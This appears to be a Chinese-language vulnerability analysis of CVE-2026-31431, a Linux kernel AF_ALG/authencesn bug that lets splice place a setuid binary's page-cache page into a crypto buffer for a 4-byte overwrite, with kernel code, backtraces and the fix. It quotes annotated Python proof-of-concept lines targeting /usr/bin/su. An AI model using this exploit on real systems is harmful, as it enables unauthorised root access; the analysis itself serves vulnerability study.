文章目录简介pocsendmsgsplicesplice状态下的sendmsgrecv修复补丁总结AI boom!CVE漏洞库信息参考简介漏洞自linux 4.13-rc1引入# git show 72548b093ee3:Makefile VERSION 4 PATCHLEVEL 13 SUBLEVEL 0 EXTRAVERSION -rc1 NAME Fearless Coyote借助这个最广为流传的poc查看漏洞原理copy_fail_exp.py内核构建需启用这些特性CONFIG_CRYPTO_USER CRYPTO_USER_API_AEAD CONFIG_CRYPTO_AEAD CRYPTO_AUTHENC内核代码注释poc原poc是AI写的不易读经过调整注释最关键的部分是这几行CVE-2026-31431/poc/copy_fail_exp.py a.bind((aead, authencesn(hmac(sha256),cbc(aes)))) ref: crypto/authenc.c: crypto_authenc_extractkeys struct { __u16 rta_len; // 8 (__u16 __u16 __be32 前三个成员, 即struct rtattr) __u16 rta_type; // 1 CRYPTO_AUTHENC_KEYA_PARAM __be32 enckeylen; // 16 u8 authkey[16]; // 16 u8 enckey[16]; // 16 cbc(aes)加密秘钥 }; a.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, struct.pack(HH, 8, 1) struct.pack(I16s16s, 16, b\x00 * 16, b\x00 * 16)) a.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, None, 4) # tag的大小 u, _ a.accept() u.sendmsg([bA * 4 content], # AAD [ (socket.SOL_ALG, socket.ALG_SET_OP, b\x00 * 4), # 解密行为 (socket.SOL_ALG, socket.ALG_SET_IV, b\x10 b\x00 * 19), # cbc(aes)初始化向量 (socket.SOL_ALG, socket.ALG_SET_AEAD_ASSOCLEN, b\x08 b\x00 * 3) # AAD长度为8 ], socket.MSG_MORE) f的文件内容发送给u, 发送的是 ct(已加密待解密) | tag, 因为tag 4字节, 所以一共发送的 CT 是0 r, w os.pipe() os.splice(f, w, index 4, offset_src0) # f的page给pipe这个page是tag os.splice(r, u.fileno(), countindex 4) # pipe的page传递给sock 两者合并等于文件f的page给了socket try: u.recv(8 index) # 收到的是AAD | CT0 except: 0调整后代码copy_fail_exp.py主要分为3个步骤sendmsg发送AADaead中的authencesn算法会用到8字节的AAD会被authencesn当做一种序列号这个序列号后面会被调整位置splice把文件的页绑定上来攻击就是发生在这里页会被修改一次修改4字节recvaead真正执行的地方af_alg的流程中sendmsg仅仅是保存数据最后recv时候才加解密aead用到的几个标签简单解释* TX SGL: AAD || CT || Tag解密需要tag * | | ^ * | copy | | Create SGL link. * v v | * RX SGL: AAD || CT ----AAD用于计算摘要的时候连带一起当解密时候用来判断AAD是不是最开始的增加安全性poc里AAD 8字节CT已加密 待解密数据poc脚本里没有传递这个Tag根据 AAD 明文 一起生成 加密时Tag HMAC(AAD || 明文解密时候需要带上sendmsg第一次sendmsg发生在u.sendmsg([bA * 4 content]这8个字节是AAD。af_alg_sendmsg是AF_ALG套接字发送消息的核心函数负责将用户态数据拷贝到内核的ctx-tsgl_list中暂存等待后续recv时执行加解密操作。crypto/af_alg.c: 937 int af_alg_sendmsg(struct socket *sock, struct msghdr *msg, size_t size, unsigned int ivsize) // 消息拷贝到ctx-tsgl_list-sg中 { struct sock *sk sock-sk; struct af_alg_ctx *ctx ask-private; // 一个accept后的sock上下文 struct af_alg_tsgl *sgl; // 一系列scatterlist打包一系列的page bool enc false; // 是否加密 poc用的是socket.SOL_ALG, socket.ALG_SET_OP, b\x00 * 4 解密行为 while (size) { struct scatterlist *sg; size_t len size; ssize_t plen; /* allocate a new page */ len min_t(unsigned long, len, af_alg_sndbuf(sk)); err af_alg_alloc_tsgl(sk); // ctx-tsgl_list空间确保充足 if (err) goto unlock; sgl list_entry(ctx-tsgl_list.prev, struct af_alg_tsgl, list); // 指向ctx-tsgl_list最后一个 sg sgl-sg; if (msg-msg_flags MSG_SPLICE_PAGES) { // splice时候复用page ... 这是下一章节splice用的地方 ... } else { do { struct page *pg; unsigned int i sgl-cur; plen min_t(size_t, len, PAGE_SIZE); pg alloc_page(GFP_KERNEL); sg_assign_page(sg i, pg); // 保存pg地址到page_link err memcpy_from_msg( page_address(sg_page(sg i)), msg, plen); // 拷贝AAD到页中af_alg_sendmsg在非splice路径下会通过alloc_page新分配一个物理页然后使用memcpy_from_msg将用户态的AAD数据拷贝到该页中并将这个页挂到ctx-tsgl_list链表上。此时ctx-used累加为8AAD的大小ctx-more由于设置了MSG_MORE标志而为真表示后续还有数据要发送。这一步主要是新申请一个page存储AAD放到ctx-tsgl_list列表中这个列表可以理解为一次accept后对这个socket发送的数据都暂存到这里splicesplice系统调用也会到sendmsg这里。与普通sendmsg不同splice路径不会拷贝数据而是直接传递页引用这是漏洞利用的关键——文件的缓存页会被直接绑定到AF_ALG套接字的TX SGL中后续解密时对该页的写入会直接修改文件缓存。#0 af_alg_sendmsg (sock0xffff888003a0c000, msg0xffffc90000753c58, size4, ivsize16) at crypto/af_alg.c:939 #1 0xffffffff8157c23e in aead_sendmsg (sockoptimized out, msgoptimized out, sizeoptimized out) at crypto/algif_aead.c:71 #2 0xffffffff818caacb in sock_sendmsg_nosec (msg0xffffc90000753c58, sock0xffff888003a0c000) at net/socket.c:730 #3 __sock_sendmsg (msg0xffffc90000753c58, sock0xffff888003a0c000) at net/socket.c:745 #4 sock_sendmsg (socksockentry0xffff888003a0c000, msgmsgentry0xffffc90000753c58) at net/socket.c:768 #5 0xffffffff81387d75 in splice_to_socket (pipeoptimized out, out0xffff888005ebbb00, pposoptimized out, len4, flags0) at fs/splice.c:881 #6 0xffffffff813883ec in do_splice_from (flags82964480, len4, ppos0xffffc90000753e38, out0xffff888005ebbb00, pipe0xffff888004e39780) at fs/splice.c:933 #7 do_splice (ininentry0xffff888005ebbd00, off_inoff_inentry0x0 fixed_percpu_data, outoutentry0xffff888005ebbb00, off_outoff_outentry0x0 fixed_percpu_data, lenlenentry4, flagsoptimized out, flagsentry0) at fs/splice.c:1292 #8 0xffffffff81388ae2 in __do_splice (ininentry0xffff888005ebbd00, off_inoff_inentry0x0 fixed_percpu_data, outoutentry0xffff888005ebbb00, off_outoff_outentry0x0 fixed_percpu_data, lenlenentry4, flagsflagsentry0) at fs/splice.c:1370 #9 0xffffffff81388c49 in __do_sys_splice (flags0, len4, off_out0x0 fixed_percpu_data, fd_outoptimized out, off_in0x0 fixed_percpu_data, fd_inoptimized out) at fs/splice.c:1586 #10 __se_sys_splice (flags0, len4, off_out0, fd_outoptimized out, off_in0, fd_inoptimized out) at fs/splice.c:1568 #11 __x64_sys_splice (regsoptimized out) at fs/splice.c:1568 #12 0xffffffff810042ba in x64_sys_call (regsregsentry0xffffc90000753f58, nroptimized out) at ./arch/x86/include/generated/asm/syscalls_64.h:276 #13 0xffffffff81b3dc29 in do_syscall_x64 (nroptimized out, regs0xffffc90000753f58) at arch/x86/entry/common.c:51 #14 do_syscall_64 (regs0xffffc90000753f58, nroptimized out) at arch/x86/entry/common.c:81af_alg_sendmsg需要msg参数存储的是send的消息sendmsg系统调用时候msg里的内容是用户态的消息的一份拷贝而借助splice之后传递给sendmsg的msg里指向的page则没有发生拷贝了直接传递的是管道page引用。调用栈从__x64_sys_splice→do_splice→splice_to_socket→sock_sendmsg→aead_sendmsg→af_alg_sendmsg可以看到splice最终也走到了af_alg_sendmsg。对应pocos.splice(r, u.fileno(), countindex 4) # pipe的page传递给sockfs/splice.c: 791 ssize_t splice_to_socket(struct pipe_inode_info *pipe, struct file *out, loff_t *ppos, size_t len, unsigned int flags) { struct socket *sock sock_from_file(out); struct bio_vec bvec[16]; struct msghdr msg {}; pipe_lock(pipe); while (len 0) { unsigned int head, tail, mask, bc 0; size_t remain len; // 剩余需要传送的Byte head pipe-head; tail pipe-tail; mask pipe-ring_size - 1; while (!pipe_empty(head, tail)) { struct pipe_buffer *buf pipe-bufs[tail mask]; size_t seg; if (!buf-len) { tail; continue; } seg min_t(size_t, remain, buf-len); // 一次传送的大小 bvec_set_page(bvec[bc], buf-page, seg, buf-offset); // bv-bv_page page; bv-bv_len len; bv-bv_offset offset; 这里直接传递的page而不是拷贝数据 remain - seg; if (remain 0 || bc ARRAY_SIZE(bvec)) break; tail; } if (!bc) break; iov_iter_bvec(msg.msg_iter, ITER_SOURCE, bvec, bc, len - remain); // 后面的信息都组装到msg.msg_iter中 ret sock_sendmsg(sock, msg);splice_to_socket函数将管道中的页通过bvec_set_page直接引用而非拷贝然后通过iov_iter_bvec组装到msg.msg_iter中最终调用sock_sendmsg传递给AF_ALG套接字。这意味着管道中的页——也就是文件缓存页——被直接传递到了af_alg_sendmsg中。而上一行的splice系统调用os.splice(f, w, index 4, offset_src0) # f的page给pipe这个page是tag恰恰文件/usr/sbin/su的缓存page交给了管道#0 filemap_splice_read (in0xffff888004f38800, ppos0xffffc90000753e38, pipe0xffff888004f2be40, len12, flags0) at mm/filemap.c:2928 #1 0xffffffff81404b8f in ext4_file_splice_read (inoptimized out, pposoptimized out, pipeoptimized out, lenoptimized out, flagsoptimized out) at fs/ext4/file.c:158 #2 0xffffffff813861a8 in vfs_splice_read (flags0, len12, pipe0xffff888004f2be40, ppos0xffffc90000753e38, in0xffff888004f38800) at fs/splice.c:993 #3 vfs_splice_read (in0xffff888004f38800, ppos0xffffc90000753e38, pipe0xffff888004f2be40, lenoptimized out, flags0) at fs/splice.c:962 #4 0xffffffff81387fad in splice_file_to_pipe (ininentry0xffff888004f38800, opipeopipeentry0xffff888004f2be40, offset0xffffc90000753e38, lenlenentry12, flags0) at fs/splice.c:1233 #5 0xffffffff81388610 in do_splice (ininentry0xffff888004f38800, off_inoff_inentry0xffffc90000753e98, outoutentry0xffff888004f38e00, off_outoff_outentry0x0 fixed_percpu_data, lenlenentry12, flagsoptimized out, flagsentry0) at fs/splice.c:1313 #6 0xffffffff813889a3 in __do_splice (ininentry0xffff888004f38800, off_inoff_inentry0x7fff5167d598, outoutentry0xffff888004f38e00, off_outoff_outentry0x0 fixed_percpu_data, lenlenentry12, flagsflagsentry0) at fs/splice.c:1370 #7 0xffffffff81388c49 in __do_sys_splice (flags0, len12, off_out0x0 fixed_percpu_data, fd_outoptimized out, off_in0x7fff5167d598, fd_inoptimized out) at fs/splice.c:1586 #8 __se_sys_splice (flags0, len12, off_out0, fd_outoptimized out, off_in140734559147416, fd_inoptimized out) at fs/splice.c:1568 #9 __x64_sys_splice (regsoptimized out) at fs/splice.c:1568 #10 0xffffffff810042ba in x64_sys_call (regsregsentry0xffffc90000753f58, nroptimized out) at ./arch/x86/include/generated/asm/syscalls_64.h:276第一个splice调用os.splice(f, w, index 4, offset_src0)通过filemap_splice_read对于ext4文件系统则是ext4_file_splice_read将文件/usr/bin/su的缓存页读取到管道中。这里的关键是filemap_splice_read不会拷贝文件内容到新页而是直接将文件页缓存page cache的引用放入管道因此管道中持有的是su文件在页缓存中的原始页。两行splice系统调用把文件的page交给了sendmsgsplice状态下的sendmsg在af_alg_sendmsg函数中专门针对splice情况特殊处理不再拷贝page了直接把从文件缓冲的page再次直接引用。当msg-msg_flags中包含MSG_SPLICE_PAGES标志时af_alg_sendmsg走extract_iter_to_sg分支将msg-msg_iter中的页引用直接添加到ctx-tsgl_list中而不是分配新页并拷贝数据。crypto/af_alg.c: 937 int af_alg_sendmsg(struct socket *sock, struct msghdr *msg, size_t size, unsigned int ivsize) // 消息拷贝到ctx-tsgl_list-sg中 { struct sock *sk sock-sk; struct alg_sock *ask alg_sk(sk); struct af_alg_ctx *ctx ask-private; // 一个accept后的sock上下文 struct af_alg_tsgl *sgl; // 一系列scatterlist打包一系列的page while (size) { struct scatterlist *sg; size_t len size; ssize_t plen; /* allocate a new page */ len min_t(unsigned long, len, af_alg_sndbuf(sk)); sgl list_entry(ctx-tsgl_list.prev, struct af_alg_tsgl, list); // 指向ctx-tsgl_list最后一个 sg sgl-sg; if (msg-msg_flags MSG_SPLICE_PAGES) { // splice时候复用page struct sg_table sgtable { .sgl sg, .nents sgl-cur, .orig_nents sgl-cur, }; plen extract_iter_to_sg(msg-msg_iter, len, sgtable, MAX_SGL_ENTS - sgl-cur, 0); // msg-msg_iter里的page放到ctx-tsgl_list中extract_iter_to_sg将msg-msg_iter中引用的页即来自管道的文件缓存页直接添加到ctx-tsgl_list的scatterlist中然后通过get_page增加引用计数。这里没有发生任何数据拷贝ctx-tsgl_list中的第二个scatterlist条目直接指向了/usr/bin/su文件的页缓存。所以到这里文件缓存page从管道来到了af_alg模块ctx-tsgl_list中在第一次处理4直接的过程中ctx-tsgl_list一共有两个page8字节的AAD来自u.sendmsg([bA * 4 content], # AAD这一个page是拷贝的page4字节的文件内容来自os.splice(f, w, index 4, offset_src0); os.splice(r, u.fileno(), countindex 4)来自文件的缓存page直接引用没有拷贝recv接收的时候先准备做加解密的内存空间。_aead_recvmsg是AEAD解密的核心入口它需要准备RX SGL接收缓冲区和TX SGL发送缓冲区即之前sendmsg/splice暂存的数据然后调用底层crypto API执行解密。漏洞就发生在RX SGL的构建过程中——原地优化使得src和dst指向了同一组SGL。第一块空间来自于recv时用户态提供的空间即u.recv(8 index)static int _aead_recvmsg(struct socket *sock, struct msghdr *msg, size_t ignored, int flags) { /* convert iovecs of output buffers into RX SGL */ err af_alg_get_rsgl(sk, msg, flags, areq, outlen, usedpages); // 从msg中提取page到areq-rsgl_list这里的msg是接收缓冲区 最大提取字节数 maxsize outlen 8只占用8字节af_alg_get_rsgl从用户态recv缓冲区msg中提取页到areq-rsgl_list即RX SGL。此时outlen used - as 12 - 4 8used ctx-used 12即8字节AAD 4字节tagas ctx-aead_assoclen 4但实际AAD长度为8这里as是控制消息中设置的ALG_SET_AEAD_ASSOCLEN值所以RX SGL最多只映射8字节的用户空间。这8字节对应AAD8字节CT长度为0。不过接下来漏洞commit引入了下面的代码:“原地优化”aead需要在rx的缓冲区后面多写入一点点东西写完后撤回所以在rx后面跟了一个tag的页面现在rx和tx指向的页面都一样了rx中也有的一个tag页面来自于文件su的缓存。具体流程是先将TX SGL中的AAD||CT拷贝到RX SGLcrypto_aead_copy_sgl然后从TX SGL中提取tag页到areq-tsglaf_alg_pull_tsgl最后将tag页链接到RX SGL末尾sg_chain。这样RX SGL就变成了AAD||CT||Tag的完整布局且rsgl_src被设置为RX SGL本身导致后续aead_request_set_crypt中src和dst指向同一组SGL。/* Use the RX SGL as source (and destination) for crypto op. */ rsgl_src areq-first_rsgl.sgl.sgt.sgl; if (ctx-enc) { ...加密相关 poc是解密... } else { /* * Decryption operation - To achieve an in-place cipher * operation, the following SGL structure is used: * * TX SGL: AAD || CT || Tag解密需要tag AAD|CT拷贝到Rx Tag使用sgl引用 * | | ^ * | copy | | Create SGL link. * v v | * RX SGL: AAD || CT ---- */ /* Copy AAD || CT to RX SGL buffer for in-place operation. */ err crypto_aead_copy_sgl(null_tfm, tsgl_src, // tsgl_src指向ctx-tsgl_list areq-first_rsgl.sgl.sgt.sgl, outlen); // memcpy(areq-first_rsgl.sgl.sgt.sgl, tsgl_src, outlen); outlen used - tag的大小 拷贝tx的AAD | CT到rx中 if (err) goto free; /* Create TX SGL for tag and chain it to RX SGL. */ areq-tsgl_entries af_alg_count_tsgl(sk, processed, processed - as); // 计算需要多少scatterlist条目来存储tag数据 if (!areq-tsgl_entries) areq-tsgl_entries 1; areq-tsgl sock_kmalloc(sk, array_size(sizeof(*areq-tsgl), areq-tsgl_entries), GFP_KERNEL); // 分配scatterlist数组 tx sgl if (!areq-tsgl) { err -ENOMEM; goto free; } sg_init_table(areq-tsgl, areq-tsgl_entries); // 现在只申请了tag的空间开头的aad借用rx的sgl到时候src/dst都是相同的page /* Release TX SGL, except for tag data and reassign tag data. */ af_alg_pull_tsgl(sk, processed, areq-tsgl, processed - as); // 从ctx-tsgl_list提取tag所在page转移到areq-tsgl ctx-tsgl_list取完了释放 /* chain the areq TX SGL holding the tag with RX SGL */ if (usedpages) { // tag page接在rx list后 /* RX SGL present */ struct af_alg_sgl *sgl_prev areq-last_rsgl-sgl; struct scatterlist *sg sgl_prev-sgt.sgl; sg_unmark_end(sg sgl_prev-sgt.nents - 1); // 移除前一个scatterlist的结束标记 sg_chain(sg, sgl_prev-sgt.nents 1, areq-tsgl); // 将tag的scatterlist链接到RX SGL末尾 *(areq-last_rsgl-sgl-sgt.sgl 1) } else /* no RX SGL present (e.g. authentication only) */ rsgl_src areq-tsgl; // 没有RX SGL直接使用tag的scatterlist作为源 } ...... err crypto_wait_req(ctx-enc ? crypto_aead_encrypt(areq-cra_u.aead_req) : crypto_aead_decrypt(areq-cra_u.aead_req), ctx-wait); // 加密/解密 }上述代码的关键步骤rsgl_src areq-first_rsgl.sgl.sgt.sgl将源SGL设置为RX SGLcrypto_aead_copy_sgl(null_tfm, tsgl_src, areq-first_rsgl.sgl.sgt.sgl, outlen)将TX SGL中的AAD||CT共8字节拷贝到RX SGL中af_alg_pull_tsgl(sk, processed, areq-tsgl, processed - as)从ctx-tsgl_list中提取tag所在的页即su文件的缓存页到areq-tsgl中processed 12processed - as 8表示从偏移8开始提取sg_chain(sg, sgl_prev-sgt.nents 1, areq-tsgl)将tag页链接到RX SGL末尾此时RX SGL AAD||CT||Tag(文件缓存页)aead_request_set_crypt(areq-cra_u.aead_req, rsgl_src, areq-first_rsgl.sgl.sgt.sgl, used, ctx-iv)设置crypto请求src和dst都指向RX SGLused 4扣除AAD后的加密数据长度最终导致在这一行中AAD的低4字节写入到了tag页中scatterwalk_map_and_copy(tmp 1, dst, assoclen cryptlen, 4, 1); // 将序列号后4字节写到数据末尾crypto/authencesn.c 267 static int crypto_authenc_esn_decrypt(struct aead_request *req) { unsigned int assoclen req-assoclen; // AAD大小 unsigned int cryptlen req-cryptlen; // used 已加密的长度来源于文件f需要解密 struct scatterlist *dst req-dst; u32 tmp[2]; /* Move high-order bits of sequence number to the end. */ scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // 读取8字节序列号u.sendmsg([bA * 4 content] scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // 将序列号高位前4字节写到偏移4位置 scatterwalk_map_and_copy(tmp 1, dst, assoclen cryptlen, 4, 1); // 将序列号后4字节写到数据末尾crypto_authenc_esn_decrypt是authencesn算法的解密函数它需要将ESNExtended Sequence Number的高位移动到数据末尾。由于原地优化导致req-src req-dst。然后scatterwalk_map_and_copy(tmp 1, dst, assoclen cryptlen, 4, 1)在dst即RX SGL的偏移assoclen cryptlen 8 0 8处写入4字节而偏移8恰好是tag页的位置——也就是/usr/bin/su文件的缓存页。写入的内容是tmp 1即AAD的低4字节。tag页是su文件的缓存:os.splice(f, w, index 4, offset_src0) # f的page给pipe这个page是tag os.splice(r, u.fileno(), countindex 4) # pipe的page传递给sock 两者合并等于文件f的page给了socketAAD的低4字节是需要覆盖su的新指令u.sendmsg([bA * 4 content], # AAD修复补丁补丁961cfa271a918ad4ae452420e7c303149002875b撤销了72548b093ee3(“crypto: algif_aead - copy AAD from src to dst”)提交。为每次请求分配完整的TX SGL包含AAD||CT||Tag使用memcpy_sglist将AAD从TX SGL拷贝到RX SGL并确保aead_request_set_crypt中src和dst分别指向不同的SGL。 -154,23 152,24 static int _aead_recvmsg(struct socket *sock, struct msghdr *msg, outlen - less; } /* * Create a per request TX SGL for this request which tracks the * SG entries from the global TX SGL. */ processed used ctx-aead_assoclen; - list_for_each_entry_safe(tsgl, tmp, ctx-tsgl_list, list) { - for (i 0; i tsgl-cur; i) { - struct scatterlist *process_sg tsgl-sg i; - - if (!(process_sg-length) || !sg_page(process_sg)) - continue; - tsgl_src process_sg; - break; - } - if (tsgl_src) - break; - } - if (processed !tsgl_src) { - err -EFAULT; areq-tsgl_entries af_alg_count_tsgl(sk, processed); // tsgl需要的大小是完整的AAD|CT|Tag了错误补丁只申请Tag的大小 if (!areq-tsgl_entries) areq-tsgl_entries 1; areq-tsgl sock_kmalloc(sk, array_size(sizeof(*areq-tsgl), areq-tsgl_entries), GFP_KERNEL); if (!areq-tsgl) { err -ENOMEM; goto free; } sg_init_table(areq-tsgl, areq-tsgl_entries); af_alg_pull_tsgl(sk, processed, areq-tsgl); // 从ctx-tsgl_list中提取所有消息错误补丁中只拷贝了Tag部分 tsgl_src areq-tsgl;第一处修改修复后的代码为每次请求分配完整的TX SGLaf_alg_count_tsgl(sk, processed)计算的是AAD||CT||Tag全部的scatterlist条目数而非漏洞版本中只计算Tag部分af_alg_count_tsgl(sk, processed, processed - as)然后通过af_alg_pull_tsgl将ctx-tsgl_list中的所有数据包括AAD、CT和Tag提取到areq-tsgl中并将tsgl_src指向areq-tsgl而非RX SGL。 -179,75 178,15 static int _aead_recvmsg(struct socket *sock, struct msghdr *msg, * when user space uses an in-place cipher operation, the kernel * will copy the data as it does not see whether such in-place operation * is initiated. - * - ...... - rsgl_src areq-tsgl; - } memcpy_sglist(rsgl_src, tsgl_src, ctx-aead_assoclen); // tx的AAD拷贝到RX中 /* Initialize the crypto operation */ - aead_request_set_crypt(areq-cra_u.aead_req, rsgl_src, aead_request_set_crypt(areq-cra_u.aead_req, tsgl_src, areq-first_rsgl.sgl.sg, used, ctx-iv); // tsgl_sr指向的是完整申请的areq-tsglsrc/dst不再是相同的sgl第二处修改修复后的代码使用memcpy_sglist(rsgl_src, tsgl_src, ctx-aead_assoclen)将TX SGL中的AAD拷贝到RX SGL中并在aead_request_set_crypt中将src设置为tsgl_src指向areq-tsgl包含完整的AAD||CT||Tagdst设置为areq-first_rsgl.sgl.sgRX SGL。总结漏洞的根因是commit72548b093ee3引入的原地优化在_aead_recvmsg解密路径中将rsgl_src设置为RX SGL本身使得aead_request_set_crypt中src和dst指向同一组SGL。这导致crypto_authenc_esn_decrypt中req-src req-dst随后authencesn.cscatterwalk_map_and_copy(tmp 1, dst, assoclen cryptlen, 4, 1)直接向dstRX SGL写入数据。而RX SGL末尾链接的tag页是通过splice来自文件的页缓存页写入操作直接修改了文件缓存实现了对任意可读文件的4字节覆盖。本次漏洞的poc代码也非常简练、高效最简单的代码即实现漏洞利用解密不要求解密成功漏洞利用恰好每次写入到文件缓存的4个字节位置。2011年 authencesn 功能上线 ipsec协议相关2014年 AF_ALG 用户态调用内核加密子系统上线2015年 af_alg, aead上线支持splice2017年 aead 原地优化补丁上线AI boom!原文Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.本次漏洞是韩国人李泰阳发现他首先是发现af_alg, aead结合splice会将仅可读的page缓存引入到加密子系统接下来他借助AI漏洞工具Xint输入This is the linux crypto/ subsystem. Please examine all codepaths reachable from userspace syscalls. Note one key observation: splice() can deliver page-cache references of read-only files (including setuid binaries) to crypto TX scatterlists.这是 Linux 的加密/子系统。请检查所有可从用户空间系统调用访问的代码路径。注意一个关键观察splice 可以将只读文件包括 setuid 二进制的页面缓存引用传递给加密 TX 散点表。一个小时后boom该漏洞被发现CVE漏洞库信息openanolisopenatom阿里云漏洞库参考Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.鹅厂架构师: 一个让 Linus Torvalds “不明觉赞” 的内核优化与修复历程CVE-2026-31431: authencesn Has Been Writing Those Four Bytes for Nine Years. The Patch Is Not in authencesn.